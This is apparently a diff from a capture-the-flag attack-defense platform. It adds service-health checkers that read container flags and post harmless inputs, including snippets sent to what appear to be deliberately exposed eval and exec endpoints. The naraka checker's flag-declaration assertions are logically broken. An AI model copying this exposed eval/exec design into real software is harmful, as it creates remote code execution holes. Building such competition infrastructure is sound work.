|
# Checking C4: Checking flag on container
|
||||||
|
with open(self.flag_location, 'r') as f:
|
||||||
|
host_flag = f.read().strip()
|
||||||
|
|
||||||
|
container_flag = subprocess.run(
|
||||||
|
["docker", "exec", "blinkpdf_container", "cat", "/flag.txt"],
|
||||||
|
capture_output=True,
|
||||||
|
text=True
|
||||||
|
).stdout.strip()
|
||||||
|
assert host_flag == container_flag, 'Flag mismatch between host and container'
|
||||||
|
|
||||||
|
# Checking C5: Login as admin and enc_flag checking
|
||||||
|
url = f'http://localhost:{self.port}/login'
|
||||||
|
data = {'username': "admin", "password": f'{private_key}'}
|
||||||
|
r = sess.post(url, data=data, timeout=5)
|
||||||
|
assert 'Welcome to the PDF Signature App'.lower() in r.text.lower(), 'Cannot login as admin'
|
||||||
|
url = f'http://localhost:{self.port}/admin_panel'
|
||||||
|
r = sess.get(url, timeout=5)
|
||||||
|
enc_flag = r.text.split('encrypted flag: ')[1].split('</p>')[0]
|
||||||
|
cek, dec = decryptMessage(enc_flag, private_key)
|
||||||
|
assert dec.decode() == host_flag, 'Change algorithm for encryption flag'
|
||||||
|
assert cek == True, 'Change signature algorithm for encryption flag'
|
||||||
|
|
||||||
|
self.logger.info('Check passed for blinkpdf')
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f'Could not check blinkpdf: {e}')
|
||||||
|
return False
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
import logging
|
||||||
|
import random
|
||||||
|
import string
|
||||||
|
|
||||||
|
from config import get_settings
|
||||||
|
|
||||||
|
|
||||||
|
class Challenge(object):
|
||||||
|
name = __name__
|
||||||
|
settings = get_settings()
|
||||||
|
port = 0
|
||||||
|
|
||||||
|
def __init__(self, port):
|
||||||
|
self.port = port
|
||||||
|
self.add_logger()
|
||||||
|
|
||||||
|
def add_logger(self):
|
||||||
|
self.logger = logging.getLogger()
|
||||||
|
|
||||||
|
def random_string(self, length):
|
||||||
|
charset = string.ascii_uppercase + string.ascii_lowercase + string.digits
|
||||||
|
return ''.join(random.choice(charset) for i in range(length))
|
||||||
|
|
||||||
|
def distribute(self, flag):
|
||||||
|
raise NotImplementedError
|
||||||
|
|
||||||
|
def check(self):
|
||||||
|
raise NotImplementedError
|
||||||
|
|
||||||
|
def credentials(self):
|
||||||
|
return {
|
||||||
|
'username': 'ctfuser',
|
||||||
|
'password': getattr(self.settings, f'PASSWORD_{self.port}'),
|
||||||
|
}
|
||||||
@@ -0,0 +1,99 @@
|
|||||||
|
from .Challenge import Challenge
|
||||||
|
|
||||||
|
import io
|
||||||
|
import requests
|
||||||
|
import random
|
||||||
|
import subprocess
|
||||||
|
import requests
|
||||||
|
import re
|
||||||
|
|
||||||
|
class Naraka(Challenge):
|
||||||
|
flag_location = 'flags/naraka.txt'
|
||||||
|
history_location = 'history/naraka.txt'
|
||||||
|
|
||||||
|
def distribute(self, flag):
|
||||||
|
try:
|
||||||
|
with open(self.flag_location, 'w') as f:
|
||||||
|
f.write(flag)
|
||||||
|
|
||||||
|
with open(self.history_location, 'a') as f:
|
||||||
|
f.write(flag + '\n')
|
||||||
|
|
||||||
|
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||||
|
return False
|
||||||
|
|
||||||
|
def check(self):
|
||||||
|
random_name = [
|
||||||
|
"nael", "mufat", "rayhan", "wicak", "Kingggg",
|
||||||
|
"osdie", "udin", "memet", "entong", "krabby",
|
||||||
|
"mew", "charizard", "pidgey", "rattata", "vulpix",
|
||||||
|
"eevee", "snorlax", "magikarp", "growlithe", "abra"
|
||||||
|
]
|
||||||
|
|
||||||
|
math_expression = "+-*"
|
||||||
|
|
||||||
|
python_programs = [
|
||||||
|
"a = 10;b = 5;print(a+b)", "a = 'add'; b='string';print(a+b)","x = [1,2,3,4,5,6,7,8];print(max(x))"
|
||||||
|
]
|
||||||
|
|
||||||
|
programs_result = ["b'15","b'addstring","b'8"]
|
||||||
|
try:
|
||||||
|
# Step 1: Chekc Greetings return name
|
||||||
|
name = random.choice(random_name)
|
||||||
|
url = f'http://localhost:{self.port}/render?name={name}'
|
||||||
|
r = requests.get(url, timeout=5)
|
||||||
|
assert name in r.text, 'Greetings is not greetings my name :('
|
||||||
|
|
||||||
|
# Step 2: Check eval calculator using random math expression
|
||||||
|
math = f'{random.randint(1,100)}{random.choice(math_expression)}{random.randint(1,100)}'
|
||||||
|
math_result = eval(math)
|
||||||
|
data = {'chall': '2','input':math}
|
||||||
|
url = f'http://localhost:{self.port}/chall'
|
||||||
|
r = requests.post(url, data=data, timeout=5)
|
||||||
|
assert str(math_result) in r.text, 'Eval calculator is not working :('
|
||||||
|
|
||||||
|
# Step 3: Check exec that execute python program
|
||||||
|
ind = random.randint(0,2)
|
||||||
|
pythononeline = python_programs[ind]
|
||||||
|
pythonresult = programs_result[ind]
|
||||||
|
data = {'chall': '1','input':pythononeline}
|
||||||
|
url = f'http://localhost:{self.port}/chall'
|
||||||
|
r = requests.post(url, data=data, timeout=5)
|
||||||
|
assert pythonresult in r.text, 'My code line is not execute :('
|
||||||
|
|
||||||
|
# Step 4: Check execute FLAG declaration execute
|
||||||
|
url = f'http://localhost:{self.port}/sourcecode/1'
|
||||||
|
r = requests.get(url, timeout=5)
|
||||||
|
flag_assignments = re.findall(r'^\s*FLAG\s*=\s*sys\.argv\[2\]\s*$', r.text, re.MULTILINE)
|
||||||
|
flag_assignments_num = flag_assignments = re.findall(r'^\s*FLAG\s*=\s*.+$', r.text, re.MULTILINE)
|
||||||
|
assert flag_assignments != 1 or flag_assignments_num != 1, "execute FLAG declared incorrectly"
|
||||||
|
|
||||||
|
# Step 5: Check evaluate FLAG declaration execute
|
||||||
|
url = f'http://localhost:{self.port}/sourcecode/1'
|
||||||
|
r = requests.get(url, timeout=5)
|
||||||
|
flag_assignments = re.findall(r'^\s*FLAG\s*=\s*sys\.argv\[2\]\s*$', r.text, re.MULTILINE)
|
||||||
|
flag_assignments_num = flag_assignments = re.findall(r'^\s*FLAG\s*=\s*.+$', r.text, re.MULTILINE)
|
||||||
|
assert flag_assignments != 1 or flag_assignments_num != 1, "evaluate FLAG declared incorrectly"
|
||||||
|
|
||||||
|
# Step 6: Check flag
|
||||||
|
with open(self.flag_location, 'r') as f:
|
||||||
|
host_flag = f.read().strip()
|
||||||
|
|
||||||
|
container_flag = subprocess.run(
|
||||||
|
["docker", "exec", "naraka_container", "cat", "/flag.txt"],
|
||||||
|
capture_output=True,
|
||||||
|
text=True
|
||||||
|
).stdout.strip()
|
||||||
|
|
||||||
|
assert host_flag == container_flag, 'Flag mismatch between host and container'
|
||||||
|
|
||||||
|
self.logger.info('Check passed for naraka')
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f'Could not check naraka: {e}')
|
||||||
|
return False
|
||||||
@@ -0,0 +1,93 @@
|
|||||||
|
from .Challenge import Challenge
|
||||||
|
|
||||||
|
import io
|
||||||
|
import requests
|
||||||
|
import random
|
||||||
|
import subprocess
|
||||||
|
import json
|
||||||
|
|
||||||
|
class Niko(Challenge):
|
||||||
|
flag_location = 'flags/niko.txt'
|
||||||
|
history_location = 'history/niko.txt'
|
||||||
|
|
||||||
|
def distribute(self, flag):
|
||||||
|
try:
|
||||||
|
with open(self.flag_location, 'w') as f:
|
||||||
|
f.write(flag)
|
||||||
|
|
||||||
|
with open(self.history_location, 'a') as f:
|
||||||
|
f.write(flag + '\n')
|
||||||
|
|
||||||
|
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||||
|
return False
|
||||||
|
|
||||||
|
def check(self):
|
||||||
|
error_messages = [
|
||||||
|
"あなたはどんなオタクですか",
|
||||||
|
"冗談じゃないよ!",
|
||||||
|
"tch なんだよ こいつ",
|
||||||
|
"どうしてそんなことが可能でしょうか…不可能です",
|
||||||
|
"本当のあなたは何ですか?",
|
||||||
|
"うわー、ごめんなさい",
|
||||||
|
"御心のままに、主よ",
|
||||||
|
"もういいよ、やめて!",
|
||||||
|
"時間です",
|
||||||
|
"悪くないよ。"
|
||||||
|
]
|
||||||
|
try:
|
||||||
|
# Step 1: Check if the flag still exists and matches the one in the container
|
||||||
|
with open(self.flag_location, 'r') as f:
|
||||||
|
host_flag = f.read().strip()
|
||||||
|
|
||||||
|
container_flag = subprocess.run(
|
||||||
|
["docker", "exec", "niko_container", "cat", "/flag.txt"],
|
||||||
|
capture_output=True,
|
||||||
|
text=True
|
||||||
|
).stdout.strip()
|
||||||
|
|
||||||
|
assert host_flag == container_flag, 'Flag mismatch between host and container'
|
||||||
|
|
||||||
|
self.logger.info('Flag check passed for niko')
|
||||||
|
|
||||||
|
# Step 2: Check if can access flag
|
||||||
|
container_key = subprocess.run(
|
||||||
|
["docker", "exec", "niko_container", "cat", "/opt/flag"],
|
||||||
|
capture_output=True,
|
||||||
|
text=True
|
||||||
|
).stdout.strip()
|
||||||
|
urlFlag = f'http://localhost:{self.port}/api/getFlag?flag={container_key}'
|
||||||
|
expected_output = container_flag
|
||||||
|
response2 = requests.get(urlFlag)
|
||||||
|
assert response2.text.strip() == expected_output, 'Get Flag check does not work'
|
||||||
|
self.logger.info('Get flag endpoint check passed for niko')
|
||||||
|
|
||||||
|
# Step 3: Check if the webpage can be accessed
|
||||||
|
url = f'http://localhost:{self.port}/'
|
||||||
|
response = requests.get(url)
|
||||||
|
status_code = response.status_code
|
||||||
|
assert status_code == 200, 'Webpage is not accessible'
|
||||||
|
self.logger.info('Webpage accessibility check passed for niko')
|
||||||
|
|
||||||
|
# Step 4: Check if the output of the specific URL equals the expected string
|
||||||
|
urlFlag = f'http://localhost:{self.port}/api/getFlag?flag=1'
|
||||||
|
expected_output = "(⋟﹏⋞) 私をバカにしようとしているのか (´ ͡༎ຶ ͜ʖ ͡༎ຶ `)︵‿︵"
|
||||||
|
response2 = requests.get(urlFlag)
|
||||||
|
assert response2.text.strip() == expected_output, 'Webpage output does not match expected output'
|
||||||
|
self.logger.info('Webpage output check passed for niko')
|
||||||
|
|
||||||
|
# Step 5: Check if the chat endpoint is working
|
||||||
|
urlChat = f'http://localhost:{self.port}/api/chat'
|
||||||
|
data = 'test'
|
||||||
|
response3 = requests.post(urlChat, data=data)
|
||||||
|
assert json.loads(response3.text.strip()).get("output") in error_messages, 'Api endpoint is not accessible'
|
||||||
|
self.logger.info('Webpage delay check passed for niko')
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f'Could not check niko: {e}')
|
||||||
|
return False
|
||||||
@@ -0,0 +1,65 @@
|
|||||||
|
from .Challenge import Challenge
|
||||||
|
|
||||||
|
import io
|
||||||
|
import requests
|
||||||
|
import random
|
||||||
|
import subprocess
|
||||||
|
|
||||||
|
class Poke(Challenge):
|
||||||
|
flag_location = 'flags/poke.txt'
|
||||||
|
history_location = 'history/poke.txt'
|
||||||
|
|
||||||
|
def distribute(self, flag):
|
||||||
|
try:
|
||||||
|
with open(self.flag_location, 'w') as f:
|
||||||
|
f.write(flag)
|
||||||
|
|
||||||
|
with open(self.history_location, 'a') as f:
|
||||||
|
f.write(flag + '\n')
|
||||||
|
|
||||||
|
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||||
|
return False
|
||||||
|
|
||||||
|
def check(self):
|
||||||
|
pokemon_names = [
|
||||||
|
"pikachu", "bulbasaur", "charmander", "squirtle", "jigglypuff",
|
||||||
|
"meowth", "psyduck", "machop", "gastly", "krabby",
|
||||||
|
"mew", "charizard", "pidgey", "rattata", "vulpix",
|
||||||
|
"eevee", "snorlax", "magikarp", "growlithe", "abra"
|
||||||
|
]
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Step 1: Randomize the Pokémon name
|
||||||
|
pokemon_name = random.choice(pokemon_names)
|
||||||
|
url = f'http://localhost:{self.port}/'
|
||||||
|
data = {'pokemon_name': pokemon_name}
|
||||||
|
r = requests.post(url, data=data, timeout=5)
|
||||||
|
assert pokemon_name.lower() in r.text.lower(), 'Pokémon data not available'
|
||||||
|
|
||||||
|
# Step 2: Check if the image is available
|
||||||
|
image_url = f'http://localhost:{self.port}/?image={pokemon_name.lower()}.png'
|
||||||
|
r = requests.get(image_url, timeout=5)
|
||||||
|
assert r.status_code == 200 and 'image/png' in r.headers['Content-Type'], 'Pokémon image not available or incorrect content type'
|
||||||
|
|
||||||
|
# Step 3: Check if the flag still exists and matches the one in the container
|
||||||
|
with open(self.flag_location, 'r') as f:
|
||||||
|
host_flag = f.read().strip()
|
||||||
|
|
||||||
|
container_flag = subprocess.run(
|
||||||
|
["docker", "exec", "poke_container", "cat", "/flag.txt"],
|
||||||
|
capture_output=True,
|
||||||
|
text=True
|
||||||
|
).stdout.strip()
|
||||||
|
|
||||||
|
assert host_flag == container_flag, 'Flag mismatch between host and container'
|
||||||
|
|
||||||
|
self.logger.info('Check passed for poke')
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f'Could not check poke: {e}')
|
||||||
|
return False
|
||||||
@@ -0,0 +1,88 @@
|
|||||||
|
from .Challenge import Challenge
|
||||||
|
|
||||||
|
import io
|
||||||
|
import requests
|
||||||
|
import random
|
||||||
|
import subprocess
|
||||||
|
import requests
|
||||||
|
import re
|
||||||
|
|
||||||
|
class Wanderer(Challenge):
|
||||||
|
flag_location = 'flags/wanderer.txt'
|
||||||
|
history_location = 'history/wanderer.txt'
|
||||||
|
|
||||||
|
def distribute(self, flag):
|
||||||
|
try:
|
||||||
|
with open(self.flag_location, 'w') as f:
|
||||||
|
f.write(flag)
|
||||||
|
|
||||||
|
with open(self.history_location, 'a') as f:
|
||||||
|
f.write(flag + '\n')
|
||||||
|
|
||||||
|
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||||
|
return False
|
||||||
|
|
||||||
|
def check(self):
|
||||||
|
try:
|
||||||
|
session = requests.Session()
|
||||||
|
# Step 1: Check Register
|
||||||
|
register_url = f'http://localhost:{self.port}/index.php?module=user&action=register'
|
||||||
|
registration_data = {'username': 'adminwreckitchecker','password': 'adminwreckitchecker'}
|
||||||
|
response = session.post(register_url, data=registration_data)
|
||||||
|
assert "username already exists" in response.text or "Registration Success" in response.text or response.status_code == 200 , 'Function Register Failed'
|
||||||
|
|
||||||
|
# Step 2: Check Login
|
||||||
|
login_url = f'http://localhost:{self.port}/index.php?module=user&action=login'
|
||||||
|
login_data = {'username': 'adminwreckitchecker', 'password': 'adminwreckitchecker'}
|
||||||
|
response = session.post(login_url, data=login_data)
|
||||||
|
assert "Login Success" in response.text or response.status_code == 200, 'Login function failed'
|
||||||
|
|
||||||
|
# Step 3: Check UUID Not hidden
|
||||||
|
view_page_url = f'http://localhost:{self.port}/index.php?module=page&action=viewPage'
|
||||||
|
response = session.get(view_page_url)
|
||||||
|
uuid_pattern = re.compile(r'[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}')
|
||||||
|
found_uuids = uuid_pattern.findall(response.text)
|
||||||
|
assert found_uuids, 'UUID not found'
|
||||||
|
|
||||||
|
# Step 4: Check create sample page
|
||||||
|
sample_page_url = f'http://localhost:{self.port}/index.php?module=page&action=samplePage'
|
||||||
|
response = session.get(sample_page_url)
|
||||||
|
assert "Create Success" in response.text or response.status_code == 200, 'Create Sample Failed'
|
||||||
|
|
||||||
|
# Step 5: Check Edit HTML Functionality
|
||||||
|
edit_url_html = f'http://localhost:{self.port}/index.php?module=user&action=edit&type=html'
|
||||||
|
response = session.get(edit_url_html)
|
||||||
|
assert response.status_code == 200, 'Edit html page not accessible'
|
||||||
|
|
||||||
|
# Step 6: Check Edit JS Functionality
|
||||||
|
edit_url_js = f'http://localhost:{self.port}/index.php?module=user&action=edit&type=js'
|
||||||
|
response = session.get(edit_url_js)
|
||||||
|
assert response.status_code == 200, 'Edit js page not accessible'
|
||||||
|
|
||||||
|
# Step 7: Check Edit CSS Functionality
|
||||||
|
edit_url_css = f'http://localhost:{self.port}/index.php?module=user&action=edit&type=css'
|
||||||
|
response = session.get(edit_url_css)
|
||||||
|
assert response.status_code == 200, 'Edit css page not accessible'
|
||||||
|
|
||||||
|
# Step 8: Check flag
|
||||||
|
with open(self.flag_location, 'r') as f:
|
||||||
|
host_flag = f.read().strip()
|
||||||
|
|
||||||
|
container_flag = subprocess.run(
|
||||||
|
["docker", "exec", "wanderer_container", "cat", "/flag.txt"],
|
||||||
|
capture_output=True,
|
||||||
|
text=True
|
||||||
|
).stdout.strip()
|
||||||
|
|
||||||
|
assert host_flag == container_flag, 'Flag mismatch between host and container'
|
||||||
|
|
||||||
|
self.logger.info('Check passed for wanderer')
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f'Could not check wanderer: {e}')
|
||||||
|
return False
|
||||||
@@ -0,0 +1,36 @@
|
|||||||
|
from pydantic import BaseSettings
|
||||||
|
from functools import lru_cache
|
||||||
|
|
||||||
|
|
||||||
|
class Settings(BaseSettings):
|
||||||
|
COMPOSE_LOCATION: str
|
||||||
|
ADMIN_USERNAME: str
|
||||||
|
ADMIN_PASSWORD: str
|
||||||
|
PASSWORD_10000: str
|
||||||
|
PASSWORD_11000: str
|
||||||
|
PASSWORD_12000: str
|
||||||
|
PASSWORD_13000: str
|
||||||
|
PASSWORD_14000: str
|
||||||
|
PASSWORD_15000: str
|
||||||
|
PASSWORD_16000: str
|
||||||
|
PASSWORD_17000: str
|
||||||
|
PASSWORD_18000: str
|
||||||
|
PASSWORD_19000: str
|
||||||
|
PASSWORD_20000: str
|
||||||
|
PASSWORD_21000: str
|
||||||
|
PASSWORD_22000: str
|
||||||
|
PASSWORD_23000: str
|
||||||
|
PASSWORD_24000: str
|
||||||
|
PASSWORD_25000: str
|
||||||
|
PASSWORD_26000: str
|
||||||
|
PASSWORD_27000: str
|
||||||
|
PASSWORD_28000: str
|
||||||
|
PASSWORD_29000: str
|
||||||
|
|
||||||
|
class Config:
|
||||||
|
env_file = ".env"
|
||||||
|
|
||||||
|
|
||||||
|
@lru_cache()
|
||||||
|
def get_settings():
|
||||||
|
return Settings()
|
||||||
Binary file not shown.
@@ -0,0 +1 @@
|
|||||||
|
WRECKIT50{PLACEHOLDER}
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
WRECKIT50{PLACEHOLDER}
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
WRECKIT50{PLACEHOLDER}
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
WRECKIT50{PLACEHOLDER}
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
WRECKIT50{PLACEHOLDER}
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
WRECKIT50{PLACEHOLDER}
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user